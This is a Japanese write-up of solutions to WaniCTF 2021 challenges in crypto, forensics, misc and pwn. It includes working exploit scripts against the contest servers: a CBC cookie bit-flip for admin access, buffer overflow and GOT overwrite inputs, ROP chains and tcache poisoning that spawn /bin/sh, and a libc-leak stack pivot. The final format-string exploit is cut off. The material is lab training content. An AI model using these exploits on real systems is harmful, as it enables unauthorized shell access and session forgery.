全完4位。
Crypto
fox (Beginner)
flag = b"FAKE{REDACTED}"
def bytes_to_int(B: bytes):
X = 0
for b in B:
X <<= 8
X += b
return X
print(bytes_to_int(flag))
int_to_bytes
を実装すれば良い……し、しなくてもCrypto.Util.numbers
にある。
$ python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import *
>>> long_to_bytes(19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197)
b'FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}'
FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}
dango (Easy)
import secrets
from functools import reduce
flag = b"FAKE{REDACTED}"
key = [secrets.token_bytes(len(flag)) for _ in range(3)]
def XOR(*X):
xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
return reduce(xor, X)
ciphertext = XOR(flag, key[0])
A = XOR(key[0], key[1], key[2])
B = XOR(key[0], key[1])
C = XOR(key[1], key[2])
print(f"ciphertext : {ciphertext.hex()}")
print(f"A : {A.hex()}")
print(f"B : {B.hex()}")
print(f"C : {C.hex()}")
XORを2回掛けることを消えることを考えれば、flag
はciphertext xor A xor C
である。
ciphertext = bytes.fromhex("bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0")
A = bytes.fromhex("cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359")
B = bytes.fromhex("e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7")
C = bytes.fromhex("319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4")
from functools import reduce
def XOR(*X):
xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
return reduce(xor, X)
print(XOR(ciphertext, A, C).decode())
$ python3 solve.py
FLAG{dango_sankyodai_dango__-ooo-}
FLAG{dango_sankyodai_dango__-ooo-}
Sweet curve (Normal)
# Given:
# - An elliptic curve: y**2 = x**3 - x + 1 (mod p)
# - Two points: P(x_P, y_P) and Q(x_Q, y_Q)
# Find the point P+Q
# The flag is the x value of P+Q
# Don't forget to convert it into a string!
p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3
定義通りに楕円曲線上の点の和を計算すれば良い。
p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3
phi = (y_Q-y_P)*pow(x_Q-x_P, p-2, p)
x = (phi**2-x_P-x_Q)%p
print(x.to_bytes(64, "big").decode())
$ python3 solve.py
FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}
FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}
AES-NOC (Hard)
AES-CBCか...って、あれ?
サーバーには、与えたバイト列をAES-NOC(とは?)で暗号化する機能と、暗号化したフラグを返す機能がある。
もし$P_3$が分かっていると、$P_0$の位置に$P_3$を突っ込めば、$C_0 = enc(P_3) \oplus IV$が得られ、$enc(P_3) = C_0 \oplus IV$を計算できる。そうすると、$P_2 = C_3 \oplus enc(P_3)$が計算できる。そしてこの問題ではフラグが49文字とassert
されているので、パディングも含めると$P_3$が分かる。後は同様に$P_0$まで遡れる。
from pwn import *
def xor(A, B):
return bytes(a^b for a, b in zip(A, B))
s = remote("aesnoc.crypto.wanictf.org", 50000)
s.recvuntil("iv = '")
iv = bytes.fromhex(s.recv(32).decode())
s.sendlineafter("> ", "1")
s.recvuntil("encrypted_flag = '")
encrypted_flag = bytes.fromhex(s.recv(128).decode())
prev = b"}"+bytes([15]*15)
flag = prev
for i in range(3)[::-1]:
s.sendlineafter("> ", "2")
s.sendlineafter("> ", prev.hex())
s.recvuntil("ciphertext = '")
c = bytes.fromhex(s.recv(32).decode())
p = xor(xor(c, iv), encrypted_flag[i*16+16:i*16+32])
prev = p
flag = p+flag
print(flag[:49].decode())
$ python3 attack.py
[+] Opening connection to aesnoc.crypto.wanictf.org on port 50000: Done
FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}
FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}
Flag Service (Very hard)
{"admin": false, "username": "kusano"}
のようなJSONがAES-CBCで暗号化されてcookieに保存される。admin
がtrue
になればフラグが得られる。
暗号化は改竄を防ぐためのものではない。IVのビットを反転させると、先頭16バイトの対応するビットが反転する。
{"admin": false, "username": "kusano"}
を
{"admin": true , "username": "kusano"}
に書き換える。
import base64
d = "+AB6EmDM1SK5RnQNM8FNToFe8Oq6KVpSLIDjkyDmL9YSWSJvHo/rM8J+vwheEmW83CRqTGrFj1foIfTHFF2dfA=="
d = base64.b64decode(d)
d = list(d)
d[0xa] ^= ord("f")^ord("t")
d[0xb] ^= ord("a")^ord("r")
d[0xc] ^= ord("l")^ord("u")
d[0xd] ^= ord("s")^ord("e")
d[0xe] ^= ord("e")^ord(" ")
d = bytes(d)
d = base64.b64encode(d)
print(d)
Base64の文字列は普通にログインしてcookie指定されたもの。このスクリプトの出力をcookieに設定すると、フラグが得られる。
FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}
Forensics
propaganda (Beginner)
Counter-Strikeのプレイ動画。1フレームだけフラグが表示されるので、適当なプレイヤーでコマ送り。
FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}
partition01 (Easy)
新しくUSBを買ったのでたくさんパーティションを作ってみました!
2 GBのイメージ。マウントするとたくさんパーティションがあって大変そうな気がしたので、バイナリエディタでFLAG{
と検索。フェイクもあるけど、フラグは見つかった。
FLAG{GPT03}
partition02 (Hard)
FLAG01とFLAG02にflag画像を分割して入れておきました.
添付のファイルは"partition01"と同じものです.
やっぱりちゃんと調べないとダメか。FTK Imagerで開いて探した。5番目と7番目のパーティションにあった。
$ cat flag01.png flag02.png > flag.png
FLAG{you_found_flag_in_FLAGs}
sonic (Easy)
何かデータを送っているかのような音声。モデムの通信をデコードするソフトでパラメタを色々と弄ってみたけど出てこない。
これで、Easy……? 数十人解いている……?
Sonic Visualiserでスペクトル表示にしたら出てきた。
同じ事は、最初にAudacityでやったけど、出てこなかったんだよな……。上のほう、てっきり低い周波数で何かを送っているのの影響が出ているのだと思ってスルーしていたが、もうちょっと上にフラグがあったのか……。
poly (Normal)
お前...pngか...?
PNG画像なのだけど、後半のほうはMP3っぽく見える。単純にPNG画像の直後にMP3を貼り合わせているのではなく、PNG画像のデータ部分に突っ込んでいる。MP3の先頭がどこか分からない……けど、PNGのヘッダだけ消してMPC-HCで開いたら、再生してくれた。優秀。
FLAG{thisismpng3}
breakRAID (Very hard)
HDDが1台壊れてしまったみたいです.
disk00、disk01、disk02の3個のイメージがあって、disk00は中身が全部0。
のLeft Asymmetricのイメージだったけど、LinuxのデフォルトはLeft Symmetricらしい。あとはRAIDのブロックサイズ(ストライプサイズ)を色々と試して……ファイルがデフラグされていたら単にバイナリファイルと見て抽出はできないから、解析ソフトで開きたいけど、そのためにはRAIDの管理領域を削らないといけない……? とかでハマった。
考えてみれば、3台中1台壊れただけで、普通にアクセスできるのだから普通に開けば良いな。
$ sudo losetup
# /dev/loop?? がどこまで使われているか調べる
$ sudo losetup /dev/loop12 disk01
$ sudo losetup /dev/loop13 disk02
$ sudo mdadm --assemble /dev/md0 /dev/loop12 /dev/loop13
mdadm: /dev/md0 has been started with 2 drives (out of 3).
$ mkdir tmp
$ sudo mount /dev/md0 tmp
$ ls -al tmp
合計 2480
drwxr-xr-x 3 root root 4096 10月 21 14:15 .
drwxrwxr-x 3 kusano kusano 4096 11月 7 19:12 ..
-rw-r--r-- 1 root root 133326 10月 21 14:15 01.png
-rw-r--r-- 1 root root 137628 10月 21 14:15 02.png
-rw-r--r-- 1 root root 138515 10月 21 14:15 03.png
-rw-r--r-- 1 root root 138252 10月 21 14:15 04.png
-rw-r--r-- 1 root root 141267 10月 21 14:15 05.png
-rw-r--r-- 1 root root 135050 10月 21 14:15 06.png
-rw-r--r-- 1 root root 134004 10月 21 14:15 07.png
-rw-r--r-- 1 root root 138596 10月 21 14:15 08.png
-rw-r--r-- 1 root root 135704 10月 21 14:15 09.png
-rw-r--r-- 1 root root 135050 10月 21 14:15 10.png
-rw-r--r-- 1 root root 136966 10月 21 14:15 11.png
-rw-r--r-- 1 root root 138399 10月 21 14:15 12.png
-rw-r--r-- 1 root root 135704 10月 21 14:15 13.png
-rw-r--r-- 1 root root 142293 10月 21 14:15 14.png
-rw-r--r-- 1 root root 142293 10月 21 14:15 15.png
-rw-r--r-- 1 root root 142293 10月 21 14:15 16.png
-rw-r--r-- 1 root root 142293 10月 21 14:15 17.png
-rw-r--r-- 1 root root 142308 10月 21 14:15 18.png
drwx------ 2 root root 16384 10月 21 14:15 lost+found
# 後片付け
$ sudo umount tmp
$ rmdir tmp
$ sudo mdadam --stop /dev/md0
$ sudo losetup -d /dev/loop12
$ sudo losetup -d /dev/loop13
FLAG{ra1dr4idxxxx}
Misc
binary (Beginner)
CSVの2列目に01が並んでいる。
s = ""
for l in open("binary.csv"):
l = l[:-1]
if " ," in l:
s += l.split(" ,")[1]
print(int(s, 2).to_bytes(64, "big"))
$ python3 solve.py
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FLAG{binary-is-essential-for-communication}\n'
FLAG{binary-is-essential-for-communication}
digital ASK (Normal)
16個ごとに000...0
か111...1
が並んでいる。
from Crypto.Util.number import *
d = ""
for l in open("digital_ask.csv"):
l = l[:-1]
if " ," in l:
d += l.split(" ,")[1]
a = ""
for i in range(0, len(d), 16):
assert d[i:i+16] in ("0"*16, "1"*16)
a += d[i]
print(long_to_bytes(int(a, 2)))
$ python3 solve.py
b"\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n"
FLAG{please-understand-frame-format-of-wireless-communication}
ASK over the air (Hard)
こんなデータなので、IとQの最大値が一定以下ならば0、そうでなければ1として、前問と同じく16個ごとに区切ってみるとこうなる。
:
1111000000000000
1111111111111111
1111000000000000
1111111111111111
1111111111111111
1111111111111111
1111000000000000
0000000000000000
1111111111111111
1111000000000000
1111111111111111
1111000000000000
1111111111111111
1111000000000000
:
一見、4個分ずれているのかと思ったけど、良く見るとそうでもない。ま、0が多ければ0、1が多ければ1で良いか。そう変換して、8個ずつに区切るとこうなる。
00000000
00000000
00000000
00000000
00000000
00000010
10101010
10101010
10101010
10101011
10010101
00011001
00110001
00000101
00011101
:
今度は単にずれているっぽい。
I = []
Q = []
for l in open("ask-over-the-air.csv"):
l = l[:-1]
if l=="time,I,Q":
continue
time, i, q = map(float, l.split(","))
I += [i]
Q += [q]
a = ""
for i in range(len(I)):
if max(abs(I[i]), abs(Q[i]))<1e-3:
a += "0"
else:
a += "1"
# for i in range(0, len(a), 16):
# print(a[i:i+16])
b = ""
for i in range(0, len(a), 16):
t = a[i:i+16]
if t.count("0")>t.count("1"):
b += "0"
else:
b += "1"
# for i in range(0, len(b), 8):
# print(b[i:i+8])
b = b[6:]
c = b""
for i in range(0, len(b), 8):
c += bytes([int(b[i:i+8], 2)])
print(c)
$ python3 solve.py
b'\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{you-can-decode-many-IoT-communications}\n\x00\x00\x00\x00\x00'
FLAG{you-can-decode-many-IoT-communications}
docker_dive (Easy)
Dockerの中に入ってsolverを実行してください。
Dockerfileと一緒にsolverも配布されているので、ホスト上でそのまま実行すれば良いのでは?
$ ./solver
sh: 1: help: Permission denied
You are not in docker
はい。このチェックを潰すよりは、言われたとおりにDockerで動かすほうが速いか。
>docker build . -t wani_docker
:
>docker run --rm -it wani_docker
/home/misc # ./solver
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}/home/misc #
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}
nearest (Easy)
最後に残った問題がこれ。
写真の場所に行きたいので、最寄り駅を教えてください。
- 電車が黄色一色
- 岡山県や広島県では、瀬戸内海の陽光をイメージしてこうなっているらしい
- コスト削減の言い訳のような気がしなくもないが……
- プレートか何かの部分も塗りつぶされているので、まさにどこかから買ってきた車両を塗った感じ
- 岡山県や広島県では、瀬戸内海の陽光をイメージしてこうなっているらしい
- 写真の左端の車両部分に
46
という文字が見える- しかし、型式番号とかならともかく、車両番号が分かってもな……
- 「○○駅前商店街」と言わずに、「駅前商店街」って珍しいな
- 交通安全ののぼりに地域性があるのでは?
- 奥に見える変な形の窓の建物は学校の校舎、丸い屋根は体育館かな?
- 「駅前商店街」の後ろにある看板は「女さくら」?
- しかしググっても出てこない
- フラグに「ヘボン式」と明記してあるということは、ヘボン式と訓令式で異なる文字を含む?
- そんな駅いくらでもあるだろ……
全然分からないのだけど、難易度Easyで、正解者数も多いし、なんだこれ……。
で、Google Lens(スマホのGoogleアプリから使える)に写真を突っ込んだら似たような屋根が出てきた。すごい。
FLAG{onomichieki}
Pwn
nc (Beginner)
ヒント
netcat (nc)と呼ばれるコマンドを使うだけです。
$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}
BOF (Beginner)
:
int main() {
char password[0x34] = "";
int ok = 0;
setup();
printf("ふっかつのじゅもんを いれてください\n");
gets(password);
if (strcmp(password, flag) == 0)
ok = 1;
if (ok) {
printf("よくぞもどられた!\n");
printf("%s\n", flag);
} else {
printf("じゅもんが ちがいます\n");
}
}
ok
を適当に上書き。
$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
Segmentation fault (core dumped)
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
got rewriter (Easy)
printf
のアドレスを書き換えた。
$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.
*0x601038 <- 0x400807.
congratulation!
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
rop-machine-returns (Easy)
$ nc rop-machine-returns.pwn.wanictf.org 9004
welcome to rop-machine-returns!!!
"/bin/sh" address is 0x404070
[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
rop_arena
+--------------------+
| pop rdi; ret |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system |
+--------------------+
cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}
FLAG{please-learn-how-to-use-rop-machine}
rop-machine-final (Hard)
攻撃スクリプトのテンプレートを用意してくれている。とはいえ面倒だな……。
:
### followings are just example junk rop codes ###
# cmd_append_pop_rdi()
# cmd_append_hex(0x404140)
# cmd_append_open()
# cmd_show_arena()
# cmd_execute()
# gets(buf)
cmd_append_pop_rdi()
cmd_append_hex(0x404140)
cmd_append_gets()
# open(buf, 0)
cmd_append_pop_rdi()
cmd_append_hex(0x404140)
cmd_append_pop_rsi()
cmd_append_hex(0)
cmd_append_open()
# read(3, buf, 0x100)
cmd_append_pop_rdi()
cmd_append_hex(3)
cmd_append_pop_rsi()
cmd_append_hex(0x404140)
cmd_append_pop_rdx()
cmd_append_hex(0x100)
cmd_append_read()
# write(1, buf, 0x100)
cmd_append_pop_rdi()
cmd_append_hex(1)
cmd_append_pop_rsi()
cmd_append_hex(0x404140)
cmd_append_pop_rdx()
cmd_append_hex(0x100)
cmd_append_write()
cmd_execute()
ファイル名は、gets
が実行されたときに入力する。ファイルディスクリプタは連番なので、開いたファイルは、標準入力(0)、標準出力(1)、エラー出力(2)に続いて3になるはず。
$ python3 solve.py
:
+-----------------------------------+
| 0x00007f48ecfd1210 (write ) |
+-----------------------------------+
$ ./flag.txt
FLAG{you-might-be-the-real-rop-master}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x13\x00\x00\x00\x13\x00\x00\x00\x11\xecH\x00\x10\xfd\xecH@\x11\xecH\x00\x10\xfd\xecH\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Segmentation fault (core dumped)
[*] Got EOF while reading in interactive
$
FLAG{you-might-be-the-real-rop-master}
baby_heap (Normal)
Tcache poisoningを練習するための問題です。
- チャンクを2個確保して開放する
- 後に開放したチャンクに書き込みたいアドレス(この問題ではmainのreturn address)を書き込む
- チャンクを2回確保する
- 2回目には2. で書き込んだアドレスが返ってくるので、好きな値(この問題では
system('/bin/sh')
のアドレス)を書き込む
$ nc babyheap.pwn.wanictf.org 9006
Do arbitrary write using tcache bin.
ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
malloc is fixed at size 0x10
system('/bin/sh') at >0x5584a0899342
Return address of main at >0x7fff2196d3c8
Bin count >0
!! Segfault may happen when fd isn't readable address
fd >>>
↑
Will be allocated for the next malloc
[0] : Not Allocated
[1] : Not Allocated
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated
---------------
1. malloc
2. free
3. write
4. exit
>1
Where? >0
:
>1
Where? >1
:
>2
Where? >1
:
>2
Where? >0
:
>3
What will happen if you can write fd of free chunk?
Where? >0
What? ( ex: 0x123456 )>7fff2196d3c8
:
>1
Where? >2
:
>1
Where? >3
:
>3
What will happen if you can write fd of free chunk?
Where? >3
What? ( ex: 0x123456 )>5584a0899342
:
>4
cat flag.txt
FLAG{This_is_Hint_for_the_diva}
FLAG{This_is_Hint_for_the_diva}
Tarinai (Hard)
良くあるスタックバッファオーバーフローだけれど、オーバーフローできるのは2バイトだけ。この部分には関数冒頭でpush rbp
されたrbp
がある。
関数から戻るときのleave
命令では、mov rsp, rbp; pop rbp;
が行われる。この段階ではrbp
が書き換わるだけで何も起こらない。戻った関数からさらに戻るときにもう一度leave
が実行され、ここでrsp
が書き換わる。書き換えた先にROPを用意しておけば良い。
from pwn import *
elf = ELF("chall")
context.binary = elf
# s = remote("localhost", 7777)
s = remote("tarinai.pwn.wanictf.org", 9007)
s.recvuntil("Name @>0x")
name = int(s.recv(12).decode(), 16)
pop_rsi_r15 = 0x4012f1
pop_rdi = 0x4012f3
nop = 0x4012f4
payload = (
pack(0) +
# printf(printf)
pack(pop_rdi) +
pack(elf.got.printf) +
pack(nop) +
pack(elf.plt.printf) +
pack(nop) +
pack(elf.symbols.main))
payload = payload.ljust(256, b"\0")
payload += bytes([name%256, name//256%256])
s.sendafter("Name>", payload)
s.recvuntil("Hello ")
printf = unpack(s.recv(6)+b"\0\0")
libc = ELF("libc.so.6")
libc.address = printf - libc.symbols.printf
s.recvuntil("Name @>0x")
name = int(s.recv(12).decode(), 16)
payload = (
b"/bin/sh\0" +
# system("/bin/sh")
pack(pop_rdi) +
pack(name) +
pack(nop) +
pack(libc.symbols.system))
payload = payload.ljust(256, b"\0")
payload += bytes([name%256, name//256%256])
s.sendafter("Name>", payload)
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/wani2021_2/Tarinai/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Opening connection to tarinai.pwn.wanictf.org on port 9007: Done
[*] '/mnt/d/documents/ctf/wani2021_2/Tarinai/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
Hello /bin/sh$ cat flag.txt
FLAG{Now_You_Know_Function_Epilogue}$
$
FLAG{Now_You_Know_Function_Epilogue}
diva (Very hard)
これ難しかった。
私の使命は歌でフラグを取ること
:
char *parseVar(char *var) {
int intTemp;
char *str_temp;
if (var[0] == '%') {
intTemp = var[1] - 48;
if (intTemp < 0 || intTemp > 2)
printf("Out of Boundary!\n");
else if (strlen(lyrics[intTemp]) == 0)
printf("Cannot access memory\n");
else
return lyrics[intTemp];
} else {
return var;
}
return NULL;
}
void sing(char *parameter) {
printf("🎵");
printf(
parseVar(parameter)); // Looks Safe since we use % as register indicator!
printf("🎵\n");
}
:
void writeLyrics(char *parameter1, char *parameter2) {
int i;
if (parameter1[0] != '%')
printf("ERROR : Destination of 'write' should be register\n");
else {
i = parameter1[1] - 48;
memcpy(lyrics[i], parseVar(parameter2), 16);
}
}
:
int main() {
init();
if (counter != 0)
printf("Program came from the future\n\n");
printf("I'm born to take flag with music\n");
int i;
for (i = 0; i < 101; i++) {
switch (i) {
case 0:
printf("Year : %d\n", 2061 + i);
parser(textArea[0]);
break;
case 15:
printf("Year : %d\n", 2061 + i);
parser(textArea[1]);
break;
case 20:
printf("Year : %d\n", 2061 + i);
parser(textArea[2]);
break;
case 60:
printf("Year : %d\n", 2061 + i);
parser(textArea[3]);
break;
case 100:
printf("Year : %d\n", 2061 + i);
parser(textArea[4]);
parser(textArea[5]);
}
}
printf("I wasn't able to get the flag.\n\n");
initializeSystem();
printf("Give me your code to send to the past\n");
printf("counter : %d\n", counter);
for (int i = 0; i < 6; i++) {
textArea[i] = (char *)malloc(32 * sizeof(char));
printf("%d>", i);
read(0, textArea[i], 0x40);
}
printf("Change this FLAGless history!! Please...\n");
counter += 1;
}
脆弱性は、
-
sing
で、parameter
の2文字目以降に%
を入れておくと、書式指定文字列攻撃ができる-
parseVar
で見ているのは1文字目だけなので
-
-
writeLyrics
で書き込み先の範囲チェックが漏れているので、lyrics
の周囲に好きな値が書き込める -
main
の最後のtextArea
に文字列を読み込むところで、ヒープバッファオーバフロー
書式文字列攻撃でスタックからlibcのアドレスを取得し、writeLyrics
でfp
の値をsystem
にでも書き換えれば良さそうである。
ただ、このプログラムは、textArea
の内容を見て処理しているのに、textArea
に書き込めるのはプログラム終了直前。まずはヒープバッファオーバフローで終了時にmain
の先頭に戻る必要がある。各メッセージもそうしろと言っている感じ。
initializeSystem
でmalloc
とfree
が実行され、main
関数で確保するメモリはtcacheから取られる。ここをオーバーフローで書き換えられるので、任意のアドレスに任意の値を書き込める。tcacheからチャンクが返されるときにkey
の部分(返ってくるアドレス+8)が0クリアされることに注意。
最後のprintf
はputs
に書き換えられているので、GOTのputs
を書き換えれば良いかと思ったけど、プログラムの冒頭にもputs
があって、main
が無限ループしてしまうのでダメ。その冒頭部分を飛ばすと、スタックがずれてmovaps
で途中で落ちる。
ループ5回目でGOTのmalloc
を書き換え、ループ6回目のmalloc
でmain
に戻るようにすると上手くいく。
この辺からハマり始める。libcのアドレスの取得と、そのアドレスから計算したペイロードの書き込みで、処理は2回実行したい。malloc
を書き換えたままだと、textArea
の2回目の読み込み前にmain
に返ってしまう。textArea
に書き込むコマンドを工夫して、malloc
のアドレスを元に戻すことはできる。しかし、tcache poisoningを使った時点で、tcacheは書き換えが不可能なlibcのmalloc
を指しているので、次にmalloc
が呼び出されると落ちる。
そういえば、問題文にヒントがあった。
HINT
No RELRO vs Partial RELRO ?
この問題はNo RELRO。Partial RELROと違って、__libc_start_main
のアドレスも動的に取得される。だから何だという話だよな……。
答え: No RELROならば、.fini_arrayセクションが書き換えられる
.fini_arrayに書き込まれている関数は、終了時に呼び出される。なるほど。
呼び出し元がlibcではなくldなので、ldのアドレスからlibcのアドレスを計算する必要がある。ここにASLRは効かないけれど、なんか環境によって違うので、配布されているDockerfileを動かして取得した。
2回目は、もう今後malloc
は使わないので、前述の方法でmalloc
を使って戻る。
from pwn import *
elf = ELF("chall")
context.binary = elf
s = remote("diva.pwn.wanictf.org", 9008)
s.sendafter("0>", b"sing !!!%25$p")
s.sendafter("1>", b"a")
